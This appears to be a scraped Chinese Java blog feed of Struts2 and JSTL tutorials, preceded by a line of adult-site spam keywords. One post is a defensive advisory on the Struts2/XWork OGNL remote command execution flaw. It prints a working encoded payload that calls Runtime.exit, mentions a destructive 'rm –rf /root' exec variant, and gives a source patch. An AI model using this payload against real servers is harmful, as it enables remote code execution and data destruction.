亚洲成AV人片在线观看无,亚洲AV永久无码精品网站在线观看,久久精品国产亚洲av成人http://www.tkk7.com/ywj-316/category/42582.htmlzh-cnTue, 31 May 2011 01:23:56 GMTTue, 31 May 2011 01:23:56 GMT60JSF入門http://www.tkk7.com/ywj-316/archive/2011/05/30/351363.htmljunlyjunlyMon, 30 May 2011 13:48:00 GMThttp://www.tkk7.com/ywj-316/archive/2011/05/30/351363.htmlhttp://www.tkk7.com/ywj-316/comments/351363.htmlhttp://www.tkk7.com/ywj-316/archive/2011/05/30/351363.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/351363.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/351363.html閱讀全文

junly 2011-05-30 21:48 發表評論
]]>
Struts2 自定義標簽的方法http://www.tkk7.com/ywj-316/archive/2011/05/30/351362.htmljunlyjunlyMon, 30 May 2011 13:43:00 GMThttp://www.tkk7.com/ywj-316/archive/2011/05/30/351362.htmlhttp://www.tkk7.com/ywj-316/comments/351362.htmlhttp://www.tkk7.com/ywj-316/archive/2011/05/30/351362.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/351362.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/351362.htmlStruts2 的UITag原理:
Struts2 UITag分三部份組成,一部份用于定義Tag的內容與邏輯的UIBean,一部份用于定義JSP Tag,也就是平時我們定義的那種,最后就是Template,它存放在你的theme目錄之下,是一個FreeMarker模板文件。

我現在輯寫一份MMTag,它主要是用于輸出帶鏈接的文字,比如像這樣:
<cur:mm message="'I am a boy.'" />
就會輸出:
<a href="http://www.tkk7.com/natlive">I am boy.</a>

我們先寫UIBean部份:我們把它定義為MM,它繼承于 org.apache.struts2.components.UIBean:

package limitstudy.corestruts2.tag;

import org.apache.struts2.components.UIBean;
import org.apache.struts2.views.annotations.StrutsTag;
import org.apache.struts2.views.annotations.StrutsTagAttribute;
import com.opensymphony.xwork2.util.ValueStack;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@StrutsTag(name="mm", tldTagClass="limitstudy.corestruts2.tag.MMTag", description="MM")
public class MM extends UIBean {
    private String message;

    public MM(ValueStack stack, HttpServletRequest request, HttpServletResponse response) {
        super(stack, request, response);
    }

    @Override
    protected String getDefaultTemplate() {
        return "mm";
    }

    @StrutsTagAttribute(description="set message", type="String")
    public void setMessage(String message) {
        this.message = message;
    }

    @Override
    protected void evaluateExtraParams() {
        super.evaluateExtraParams();

        if (null != message) {
            addParameter("message", findString(message));
        }
    }
}


* strutsTag注解指明了該UIBean的名字 和Tag類的類名。
* getDefaultTemplate()方法用于返回模板的名 字,Struts2會自動在后面加入.ftl擴展名以找到特定的模板文件。
* setXXX,設置UIBean的屬性,一般Tag中有幾個這樣的屬性,這里就有幾個。@StrutsTagAttribute(description="set message", type="String") 注解,說明該屬性是字符串(也可以是其它),這一步很重要。
* 覆寫evaluateExtraParams() 方法,在UIBean初始化后會調用這個方法來初始化設定參數,如addParameter方法,會在freemarker里的parameters里加 入一個key value。這里要注意findString,還有相關的findxxxx方法,它們是已經封裝好了的解釋ognl語法的工具,具體是怎么樣的,大家可以 查看一下UIBean的api doc。

然后是Tag部份:

package limitstudy.corestruts2.tag;

import org.apache.struts2.views.jsp.ui.AbstractUITag;
import org.apache.struts2.components.Component;
import com.opensymphony.xwork2.util.ValueStack;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class MMTag extends AbstractUITag {
    private String message;

    @Override
    public Component getBean(ValueStack stack, HttpServletRequest request, HttpServletResponse response) {
        return new MM(stack, request, response);
    }

    @Override
    protected void populateParams() {
        super.populateParams();

        MM mm = (MM)component;
        mm.setMessage(message);
    }

    public void setMessage(String message) {
        this.message = message;
    }
}


* getBean()返回該Tag中的UIBean。
* populateParams()初始化參數,一般用來初始化UIBean(Component)。
* setXXXX設置屬性,和jsp tag是一樣的。

在/WEB-INF/tlds/下建立current.tld文件(文名隨你喜歡):

<?xml version="1.0" encoding="UTF-8"?>
<taglib xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.0"
        xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
    <description>test</description>
    <tlib-version>2.0</tlib-version>
    <short-name>cur</short-name>
    <uri>/cur</uri>

    <tag>
        <name>mm</name>
        <tag-class>limitstudy.corestruts2.tag.MMTag</tag-class>
        <body-content>JSP</body-content>
        <attribute>
            <name>message</name>
            <required>true</required>
        </attribute>
    </tag>
</taglib>


在源代碼目錄中建立template/simple目錄(這個目錄名和你的theme有關),然后在里面建一個 mm.ftl文件:

<href="http://www.yinsha.com">${parameters.message?html}</a>


建一個action測試一下,視圖文件:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<%@ taglib prefix="cur" uri="/cur" %>
<html>
<head>
    <title><s:property value="message" /></title>
</head>
<body>
<cur:mm message="haoahahhahaha" />
</body>
</html>


完。

PS: 寫得有些粗鄙,所以,如有問題的,可以留言。

 

 

 

http://devilkirin.javaeye.com/blog/427395

http://xiaojianhx.javaeye.com/blog/482888


junly 2011-05-30 21:43 發表評論
]]>
標簽備忘http://www.tkk7.com/ywj-316/archive/2010/11/22/338668.htmljunlyjunlyMon, 22 Nov 2010 02:41:00 GMThttp://www.tkk7.com/ywj-316/archive/2010/11/22/338668.htmlhttp://www.tkk7.com/ywj-316/comments/338668.htmlhttp://www.tkk7.com/ywj-316/archive/2010/11/22/338668.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/338668.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/338668.html 
A:
<s:a href=""></s:a>-----超鏈接,類似于html里的<a></a>
<s:action name=""></s:action>-----執行一個view里面的一個action
<s:actionerror/>-----如果action的errors有值那么顯示出來
<s:actionmessage/>-----如果action的message有值那么顯示出來
<s:append var="newMerList">-----添加一個值到list,類似于list.add();
 <s:param value="merList1"></s:param>   
 <s:param value="merList2"></s:param>   
</s:append>

<s:autocompleter></s:autocompleter>-----自動完成<s:combobox>標簽的內容,這個是ajax

B:
<s:bean name=""></s:bean>-----類似于struts1.x中的,JavaBean的值

C:
<s:checkbox></s:checkbox>-----復選框
<s:checkboxlist list=""></s:checkboxlist>-----多選框
<s:combobox list=""></s:combobox>-----下拉框
<s:component></s:component>-----圖像符號

D:
<s:date name="time" format="yyyy/MM/dd"/>-----獲取日期格式
<s:datetimepicker></s:datetimepicker>-----日期輸入框
<s:debug></s:debug>-----顯示錯誤信息
<s:div></s:div>-----表示一個塊,類似于html的<div></div>
<s:doubleselect list="#appVar3" listKey="id" listValue="name" name="" doubleName="chinagra.chinagraCategory.id" -----雙下拉框
doubleId="mid" doubleList="#appVar4.get(top.id)" doubleListKey="id" doubleListValue="title" theme="simple"/>
List<Category> categories = chinagraService.searchProblemCategories();;
Map<Long, List<ChinagraCategory>> chinagraCategories = new HashMap<Long, List<ChinagraCategory>>();
for(Category category : categories) {
 chinagraCategories.put(category.getId(), chinagraCategoryService.queryByType(category.getId().toString()));
}

E:
<s:if test=""></s:if>
<s:elseif test=""></s:elseif>
<s:else></s:else>-----這3個標簽一起使用,表示條件判斷

F:
<s:fielderror></s:fielderror>-----顯示文件錯誤信息
<s:file></s:file>-----文件上傳
<s:form action=""></s:form>-----獲取相應form的值

G:
<s:generator separator="'aaa,bbb,ccc,ddd'" val=",">
 <s:iterator>   
  <s:property/>   
    </s:iterator>
</s:generator>----和<s:iterator>標簽一起使用


H:
<s:head/>-----在<head></head>里使用,表示頭文件結束
<s:hidden name="user.name" value="junly"/></s:hidden>-----隱藏值

I:
<s:i18n name=""></s:i18n>-----加載資源包到值堆棧
<s:include value=""></s:include>-----包含一個輸出,servlet或jsp頁面
<s:inputtransferselect list=""></s:inputtransferselect>-----獲取form的一個輸入
<s:iterator value="userlist" var="user" status="s">
 <s:if test="#s.index == 0">
  <s:property value="name"/>
 </s:if>
 <s:property value="#s.even"/>
    <s:property value="#s.odd"/>  
 <s:property value="#s.first"/> 
 <s:property value="#s.last"/> 
 <s:property value="#s.count"/> 
</s:iterator>-----用于遍歷集合
<s:if test="#list.size > 0 "></s:if>-----判斷 ActionContext.getContext().put("list", lists);
<s:elseif test="list.size > 0 "></s:elseif>
<s:else></s:else>
<s:if test="searchCondition.filter!=null">

L:
<s:label></s:label>-----只讀的標簽

M:
<s:merge></s:merge>-----合并遍歷集合出來的值

O:
<s:optgroup></s:optgroup>-----獲取標簽組
<s:optiontransferselect doubleList="" list="" doubleName=""></s:optiontransferselect>-----左右選擇框

P:
<s:param name="pageSize" value="pageSize"/></s:param>-----為其他標簽提供參數
<s:password></s:password>-----密碼輸入框
<s:property value="user.name" />-----得到'value'的屬性
<s:push value=""></s:push>-----value的值push到棧中,從而使property標簽的能夠獲取value的屬性

R:

<s:radio name="type" list="#{0:'拍賣會',1:'展會'}" value="0"></s:radio>-----單選按鈕
<s:reset></s:reset>-----重置按鈕

S:
<s:select list=""></s:select>-----單選框
<s:set name=""></s:set>-----賦予變量一個特定范圍內的值
<s:sort comparator=""></s:sort>-----通過屬性給list分類
<s:submit></s:submit>-----提交按鈕
<s:subset source="#subList" start="1" count="2">-----為遍歷集合輸出子集 
 <s:iterator>   
  <s:property/> 
 </s:iterator>   
</s:subset>


T:
<s:tabbedPanel id=""></s:tabbedPanel>-----表格框
<s:table></s:table>-----表格
<s:text name="error"/></s:text>-----I18n文本信息
<s:textarea></s:textarea>-----文本域輸入框
<s:textfield></s:textfield>-----文本輸入框
<s:token></s:token>-----攔截器
<s:tree></s:tree>-----樹
<s:treenode label=""></s:treenode>-----樹的結構

U:
<s:updownselect list=""></s:updownselect>-----多選擇框
<s:url value="/academy/get-detail.action?academyInfo.id=${id}"></s:url>-----創建url
<s:url action="search-big.action" escapeAmp="false" namespace="/problem">            
<s:param name="name" value="%{'all'}"/>
<s:param name="id" value="0"/>      
<s:param name="sex" value="user.sex"/>                                    
</s:url>

 

 

JSTL語法及參數   
JSTL包含以下的標簽:   
常用的標簽:如<c:out>、<c:remove>、<c:catch>、<c:set>等   
條件標簽:如<c:if><c:when>、<c:choose>、<c:otherwise>等   
URL標簽:如<c:import>、<c:redirect>和<c:url>等   
XML標簽:如<xml:out>等   
國際化輸出標簽:如<fmt:timeZone>等   
SQL標簽:如<sql:query>、<sql:update>、<sql:transaction>等   
 
一般用途的標簽:   
1.<c:out>   
沒有Body時的語法   
<c:out value=”value” [escapeXml=”{true|false}”] [default=”defaultValue”]/>   
有Body時的語法   
<c:out value=”value” [escapeXml=”{true|false}”]>   
這里是Body部分   
</c:out>   
 
名字 類型 描述   
value Object 將要輸出的表達式   
escapeXml boolean 確定以下字符:<,>,&,’,”在字符串中是否被除數,默認為true   
default Object 如果vaule計算后的結果是null,那么輸出這個默認值   

2.<c:set>   
這個標簽用于在某個范圍(page、request、session、application等)中使用某個名字設定特定的值,或者設定某個已經存在的javabean對象的屬性。他類似于<%request.setAttrbute(“name”,”value”);%>   
語法1:使用value屬性設定一個特定范圍中的屬性。   
<c:set value=”value” var=”varName” [scope=”{page|request|session|application}”]/>   
語法2:使用value屬性設定一個特定范圍中的屬性,并帶有一個Body。   
<c:set var=”varName” [scope=”{page|request|session|application}”]>   
Body部分   
</c:set>   
語法3:設置某個特定對象的一個屬性。   
<c:set value=”value” target=”target” property=”propertyName”/>   
語法4:設置某個特定對象的一個屬性,并帶有一個Body。   
<c:set target=”target” property=”propertyName”>   
Body部分   
</c:set>   
 
名字 類型 描述   
value Object 將要計算的表到式。   
var String 用于表示value 值的屬性,如果要在其他標簽中使用,就是通過這 個var指定的值來進行的。它相當于在標簽定義了一個變量,并且這個變量只能在標簽中的一個。   
scope String var的有效范圍,可以是page|request|session|application中的一個   
target String 將要設置屬性的對象,它必須是javabean或則java.util.Map對象   
property Object 待設定的Target對象中的屬性名字,比如在javabean中有個name屬性,提供了setUserId方法,那么這里填userId。    
 
3.<c:remove>   
<c:remove var=”varName” [scope=”{page|request|session|application}”]/>    
 
4.<c:catch>   
這個標簽相當于捕獲在它里邊的標簽拋出的異常對象   
<c:catch [var=”varName”]> //var是異常的名字   
內容   
</c:catch>    
 
條件標簽   
1. <c:if>   
語法1:無Body情況   
<c:if test=”testCondition” var=”varName” [scope=”page|request|session|application”]/>   
語法2:有Body的情況   
<c:if test=”testCondition” var=”varName” [scope=”page|request|session|application”]>   
Body內容   
</c:if>   
 
名字 類型 描述   
test Boolean 表達式的條件,相當于if()中的條件判斷語句。   
var String 表示這個語句的名字。   
scope String var這個變量的作用范圍。    
 
2.<c:choose>   
語法:<c:choose>   
Body內容(<c:when>和<c:otherwise>子標簽)   
</c:choose>   
注意:它的Body只能由以下元素組成:   
1) 空格   
2) 0或多個<c:when>子標簽,<c:when>必須在<c:otherwise>標簽之前出現.   
3) 0個或多個<c:otherwise>子標簽。   
<c:choose>
   <c:when test="${param.age>70}">
   歡迎老年人
   </c:when>
   <c:when test="${param.age<70 and param.age>35}">
   歡迎中年人
   </c:when>
   <c:otherwise>
   您的年齡有誤!
   </c:otherwise>
</c:choose>
 
3.<c:when>   
代表的是<c:choose>的一個條件分支,只能在<c:choose>中使用   
語法:<c:when test=”testCondition”> //test是boolean類型,用于判斷條件真假   
Body語句   
</c:when>    
 
4.<c:otherwise>   
代表的是<c:choose>中的最后選擇。必須在最后出現   
<c:otherwise>   
內容   
</c:otherwise>    
 
迭代標簽   
1.<c:forEach>   
語法1:在Collection中迭代   
<c:forEach[var=”varName”] items=”collection” [varStatus=”varStatusName”]   
[begin=”begin”] [end=”end”] [step=”step”]   
Body內容   
</c:foeEach>   
 
語法2:迭代固定的次數.   
<c:forEach [var=”varName”] [varStatus=”varStatusName”]   
[begin=”begin”] [end=”end”] [step=”step”]   
Body內容   
</c:foeEach>   
 
名字 類型 描述   
var String 迭代的參數,它是標簽參數,在其他標簽中通過它來引用這個標簽中的內容。   
Items Collection、ArrayList、 要迭代的items集合.   
Iterator、Map、String、   
Eunmeration等   
VarStatus String 表示迭代的狀態,可以訪問迭代自身的信息   
Begin int 表示開始迭代的位置。   
End int 表示結束迭代的位置。   
Step int 表示迭代移動的步長,默認為1。    
 
URL相關的標簽   
1.<c:import>   
語法1:資源的內容使用String對象向外暴露   
<c:import url=”url” [context=”context”]   
[var=”varName”] [scope=”{page|request|session|application}”] [charEncoding=”charEncoding”]>   
內容   
</c:import>   
 
語法2:資源的內容使用Reader對象向外暴露。   
<c:import url=”url” [context=”context”]   
varReader=”varReaderName” [charEncoding=”charEncoding”]>   
內容   
</c:import>   
名字 類型 描述   
url String 待導入資源的URL,可以是相對路徑和絕對路徑,并且可以導入其他主機資源   
context String 當使用相對路徑訪問外部context資源時,context指定了這個資源的名字。   
var String 參數的名字。   
scope String var參數的作用范圍。   
cahrEncoding String 輸入資源的字符編碼。   
varReader String 這個參數的類型是Reader,用于讀取資源。    
 
2.<c:redirct>   
語法1:沒有Body的情況.   
<c:redirect url=”value” [context=”context”]/>   
語法2:有Body情況下,在Body中指定查詢的參數   
<c:redirect url=”value” [context=”context”]>   
<c:param name=”name” value=”value”/>   
</c:redirect>    
 
3.<c:url>   
語法1:沒有Body   
<c:url value=”value” [context=”context”] [var=”varName”] [scope=”{page|request|session+application}”]/>   
語法2:有Body   
<c:url value=”value” [context=”context”] [var=”varName”] [scope=”{page|request|session+application}”]>   
<c:param name=”name” value=”value”/>   
</c:url>   
 
名字 類型 描述   
value String URL值   
context String 當使用相對路徑訪問外部context資源時,context指定了這個資源的名字   
var String 標識這個URL標量。   
Scope String 變量作用范圍。    
 
SQL相關的標簽   
1.<sql:setDataSource>   
2.<sql:query>   
3.<sql:update>   
4.<transaction>   
5.<param>



junly 2010-11-22 10:41 發表評論
]]>
米struts2的用戶請注意這個超級安全漏洞http://www.tkk7.com/ywj-316/archive/2010/07/30/327596.htmljunlyjunlyFri, 30 Jul 2010 10:15:00 GMThttp://www.tkk7.com/ywj-316/archive/2010/07/30/327596.htmlhttp://www.tkk7.com/ywj-316/comments/327596.htmlhttp://www.tkk7.com/ywj-316/archive/2010/07/30/327596.html#Feedback3http://www.tkk7.com/ywj-316/comments/commentRss/327596.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/327596.html exploit-db網站在7月14日爆出了一個Struts2的遠程執行任意代碼的漏洞。
漏洞名稱:Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability
相關介紹:
http://www.exploit-db.com/exploits/14360/
http://sebug.net/exploit/19954/

Struts2的核心是使用的webwork框架,處理 action時通過調用底層的getter/setter方法來處理http的參數,它將每個http參數聲明為一個ONGL(這里是ONGL的介紹)語句。當我們提交一個http參數:
Java代碼
?user.address.city=Bishkek&user['favoriteDrink']=kumys 

?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL將它轉換為:
Java代碼
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys") 

action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
這是通過ParametersInterceptor(參數過濾器)來執行的,使用用戶提供的HTTP參數調用 ValueStack.setValue()。
為了防范篡改服務器端對象,XWork的ParametersInterceptor不允許參數名中出現“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻擊者就可以繞過保護,修改保護Java方式執行的值:
此處代碼有破壞性,請在測試環境執行,嚴禁用此種方法進行惡意攻擊
Java代碼
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
轉義后是這樣:
Java代碼
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1 

?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL處理時最終的結果就是Java代碼
java.lang.Runtime.getRuntime().exit(1); 

java.lang.Runtime.getRuntime().exit(1);
類似的可以執行Java代碼
java.lang.Runtime.getRuntime().exec("rm –rf /root") 

java.lang.Runtime.getRuntime().exec("rm –rf /root"),只要有權限就可以刪除任何一個目錄。


目前的解決方法如下,官方的出了補丁的,可以在
http://svn.apache.org/viewvc?view=revision&revision=956389
目前2.1.8的最新版本的,可以下載其中這個補丁修補,
而如果你的版本是低于2.1.8的,可以去下載xwork-2.XX.JAR對應的源代碼(本來想反編譯JAR的,發現還是找源代碼好),
然后修改其中的com/opensymphone/xwork2/interceptor/ParameterInterceptor.java
在其中的acceptableName方法中調整如下:
protected boolean acceptableName(String name) {
       boolean foundMatch=false;  
        foundMatch = name.contains("\\u0023");  
        if(foundMatch){  
            return false;  
        }
        if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1
                || name.indexOf(':') != -1 || isExcluded(name)) {
            return false;
        } else {
            return true;
        }
       
    }

junly 2010-07-30 18:15 發表評論
]]>
Struts 2的配置文件????????????????http://www.tkk7.com/ywj-316/archive/2010/03/05/314565.htmljunlyjunlyFri, 05 Mar 2010 02:24:00 GMThttp://www.tkk7.com/ywj-316/archive/2010/03/05/314565.htmlhttp://www.tkk7.com/ywj-316/comments/314565.htmlhttp://www.tkk7.com/ywj-316/archive/2010/03/05/314565.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/314565.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/314565.html1 配置Action的struts.xml ??????

<struts>
    
<!-- Struts 2的Action都必須配置在package里-->
    
<package name="default" extends="struts-default">
<!-- 定義一個Logon的Action實現類為lee.Logon -->
<action name="Logon" class="lee.Logon">
<!--配置Action返回input時轉入/pages/Logon.jsp頁面-->
<result name="input">/pages/Logon.jsp</result>
<!--配置Action返回cancel時重定向到Welcome的Action-->
<result name="cancel" type="redirect-action">Welcome</result>
<!--配置Action返回success時重定向到MainMenu的Action -->
<result type="redirect-action">MainMenu</result>
<!--配置Action返回expired時進入ChangePassword的Action連-->
<result name="expired" type="chain">ChangePassword</result>
</action>
<!--定義Logoff的Action實現類為lee.Logoff -->
<action name="Logoff" class=" lee.Logoff">
<!--配置Action返回success重定向到MainMenu的Action -->
<result type="redirect-action">Welcome</result>
</action>
</package>
</struts>
2 配置Struts 2 全局屬性的struts.properties ??????
#指定Struts 2處于開發狀態 ????????????
struts.devMode = false
#指定當Struts 2配置文件改變后,Web框架是否重新加載Struts 2配置文件 ????????
struts.configuration.xml.reload=true
3 編輯Web 應用的web.xml配置文件,配置Struts 2 的核心Filter??
<?xml version="1.0" encoding="GBK"?>
<!-- web-app是Web應用配置文件的根元素,提定Web應用的Schema信息-->
<web-app version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi
="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation
="http://java.sun.com/xml/ns/j2ee http://java.sun.
com/xml/ns/j2ee/web-app_2_4.xsd"
>
<!--定義Struts 2的FilterDispatcher的Filter -->
<filter>
<!-- 定義核心Filter的名字-->
<filter-name>struts2</filter-name>
<!--典定義核心Filter的實現類 -->
<filter-class>org.apache.Struts2.dispatcher.FilterDispatcher
</ filter-class>
<init-param>
<!--配置Struts 2框架默認加載的Action包結構-->
<param-name>actionPackages</param-name>
<param-value>org.apache.struts2.showcase.person</param-value>
</init-param>
<!--配置Struts 2框架的配置提共者類-->
<init-param>
<param-name>configProviders </param-name>
<param-value>lee.MyConfigurationProvider</param-value>
</init-param>
</filter>
<!-- FilterDispatcher用來初始化Struts 2并且處理所有的Web請求-->
<filter-mapping>
<filter-name>Struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
三個有特殊意義的初始化參數:
(1) config:參數值是以(,)號隔開的字符串,每個字符串都是一個xml配置文件的位置。Struts2框架將自動加載這些配置文件。
(2) actionPackages:參數值是以(,)號隔開的字符串,每個字符串都是一個包空間,Struts2框架將掃描這些包空間下的Action類。
(3) configProviders:如果用戶需要實現自已的ConfigurationProvider類,用戶可以提供一個或多個實現了ConfigurationProvider接口的類,然后將這些類的類名設置成該屬性的值,多個類名這間以(,)隔開。
(4) 還可以在些配置常量,其中<param-name>子元素指定常量name,而<param-value>指定常量value.

4 在web.xml文件中配置加載Struts 2標簽庫
<!--手動配置Struts 2的標簽庫-->
<taglib>
<!--配置Struts 2標簽庫的URI -->
<taglib-uri>/s</taglib-uri>
<!--指定Struts 2標簽庫定義文件的位置-->
<taglib-location>/WEB-INF/struts-tags.tld</taglib-location>
</taglib>
注意:Servlet2.4以上的規范,無需在web.xml文件中配置標簽庫定義,因為Servlet2.4規范會自動加載該標簽庫文件。
5 文件結構
Struts2qs
|-WEB-INF
|         |-classes(struts.xml)
|         |-lib(commons-logging.jar??freemarker.jar??ognl.jar??struts2-core.jar??xwork.jar)
|         |-web.xml
|-login.jsp

6 將struts.xml配置文件分解成多個配置文件,模塊化管理
<?xml version="1.0" encoding="UTF-8" ?>
<!-- 指定Struts 2 配置文件的DTD信息-->
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd"
>
<!--下面是Struts 2配置文件的根元素-->
<struts>
<!--通過include元素導入其他配置文件-->
<include file="struts-part1.xml" />

</struts>

7 包空間的繼承
<!--指定Struts 2 配置文件的根元素 -->
<struts>
<!-- 配置名為lee的包空間,繼承struts-default包空間-->
<package name="lee" extends="struts-default">

</package>
</struts>
8 可插拔的方式來安裝插件
配置struts2與spring框架,只要將struts2-spring-plugin2.06.jar文件放在WEB-INF/lib路徑下,Struts2框架將自動加載該文件


junly 2010-03-05 10:24 發表評論
]]>
struts2 error:No result defined for action and result input http://www.tkk7.com/ywj-316/archive/2010/01/14/309516.htmljunlyjunlyThu, 14 Jan 2010 11:50:00 GMThttp://www.tkk7.com/ywj-316/archive/2010/01/14/309516.htmlhttp://www.tkk7.com/ywj-316/comments/309516.htmlhttp://www.tkk7.com/ywj-316/archive/2010/01/14/309516.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/309516.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/309516.html 首先
查看struts的XML中對應action里配置是否有<result name="input">/AddProducts.jsp</result>
如果有說明在攔截圖器鏈中某個攔截器出錯,大多情況下是
數據類型轉換錯誤!


junly 2010-01-14 19:50 發表評論
]]>
struts1.3-自定義exceptionhttp://www.tkk7.com/ywj-316/archive/2009/11/30/304201.htmljunlyjunlyMon, 30 Nov 2009 00:17:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/11/30/304201.htmlhttp://www.tkk7.com/ywj-316/comments/304201.htmlhttp://www.tkk7.com/ywj-316/archive/2009/11/30/304201.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/304201.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/304201.html1 自定義異常類 SystemException.java

public class SystemException extends RuntimeException{
 //自定義key
 private String key;
 //自定義參數
 private Object[] values;

 //實現父類的構造方法
 public SystemException() {
  super();
 }

 public SystemException(String message, Throwable cause) {
  super(message, cause);
 }


 public SystemException(String message) {
  super(message);
 }


 public SystemException(Throwable cause) {
  super(cause);
 }

 //自定義構造方法
 public SystemException(String message, String key) {
  super(message);
  this.key=key;
 }

 //自定義構造方法,帶一個參數
 public SystemException(String message, String key,Object value) {
  super(message);
  this.key=key;
  this.values=new Object[]{value};
 }
 
 //自定義構造方法,帶多個參數
 public SystemException(String message, String key,Object[] values) {
  super(message);
  this.key=key;
  this.values=values;
 }
 
 //相應的get方法
 public String getKey() {
  return key;
 }

 public Object[] getValues() {
  return values;
 }
}
2 自定義異常處理器 SystemExceptionHandler.java

//作用:截獲SystemException,并根據SystemException中的信息動態創建ActionMessage等這些錯誤信息,
        將其存在request中
public class SystemExceptionHandler extends ExceptionHandler{

 /**
  * 處理SystemException異常
  */
 @Override
 public ActionForward execute(Exception ex,//拋出的異常
         ExceptionConfig config,//struts-config.xml中的配置信息
         ActionMapping mapping,
          ActionForm form,
         HttpServletRequest request,
         HttpServletResponse response) throws ServletException {
  
  ActionForward forward=null;
  //創建ActionForward
  if(config.getPath()!=null){
   //有path屬性,則根據path創建
   forward=new ActionForward(config.getPath());
  }else {
   //沒有path屬性,則根據input屬性創建
   forward=mapping.getInputForward();
  }
  if(ex instanceof SystemException){
   SystemException se=(SystemException)ex;
   //key可有可無,所以取出key進行判斷
   String key=se.getKey();
   ActionMessage error=null;
   //如果自定義的key為空,用struts的
   if(key==null){
    //拿出error.default和message,創建ActionMessage對象
    error=new ActionMessage(config.getKey(),se.getMessage());
   }else {
    //如果自定義的key有值
    if(se.getValues()!=null){
     error=new ActionMessage(key,se.getValues());
    }else {
     //如果自定義的key有值,則根據key創建ActionMessage對象
     error=new ActionMessage(key);
    }
   }
   //將這個ActionMessage放到request中。key為自定義的,error為ActionMessage對象
   //forward是要轉到什么地方,根據path屬性創建。"request"為scope的一個,也可以
   //用config.getScope()
   this.storeException(request, key, error, forward, config.getScope());
   return forward;
  }
  return super.execute(ex, config, mapping, form, request, response);
 }
}


3 編寫配置文件 struts-config.xml

<global-exceptions>
   <exception key="error.default"
        type="java.lang.Exception"
        scope="request"
        path="/common/exception.jsp"
    <!-- 自定義的異常處理類 -->
        handler="org.oa.common.SystemExceptionHandler"/>
</global-exceptions>

4 編寫資源文件 ApplicationResources.properties

error.default={0}
error.org.del=Can't Del Orgnation,id is {0}!

5 業務代碼

throw new org.oa.common.SystemException("存在子機構,不允許刪除!","error.org.del",org.getOname());



junly 2009-11-30 08:17 發表評論
]]>
struts1.3-其他http://www.tkk7.com/ywj-316/archive/2009/11/30/304199.htmljunlyjunlyMon, 30 Nov 2009 00:16:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/11/30/304199.htmlhttp://www.tkk7.com/ywj-316/comments/304199.htmlhttp://www.tkk7.com/ywj-316/archive/2009/11/30/304199.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/304199.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/304199.html 面向請求驅動:
struts1.x,struts2.x,WebWork
面向事件驅動的(JSF)
--------------------------------------
struts空字段測試
<input type="text" name="username"\>
ActionForm中有:
private String username;
private String password;
頁面取得值:
<%=form.getUserName()%>//結果:
<%=form.getPassWord()%>//結果:null
${requestScope.userActionForm.username}//結果:
${requestScope.userActionForm.password}//結果:
----------------------------------------------------
java國際化
1 了解缺省Locale是由操作系統決定的,Locale是由語言和國家代碼組成
2 國際化資源文件是由baseName+locale組成,一般在src目錄下就可以了,如:MessageBundle_en_US.properties
baseName是任意合法的文件名
3 native2ascii命令的位置和用法
  * 位置:java_home/bin
  * 使用native2ascii.exe o.properties MessagesBundle_zh_CN.properties
  * DOS
    D:\>native2ascii -encoding gb2312 aaa.txt bbb.txt
------------------------------------------------------------------
struts國際化
1 在struts-config.xml文件中加入:<message-resources parameter="MessageResources"/>
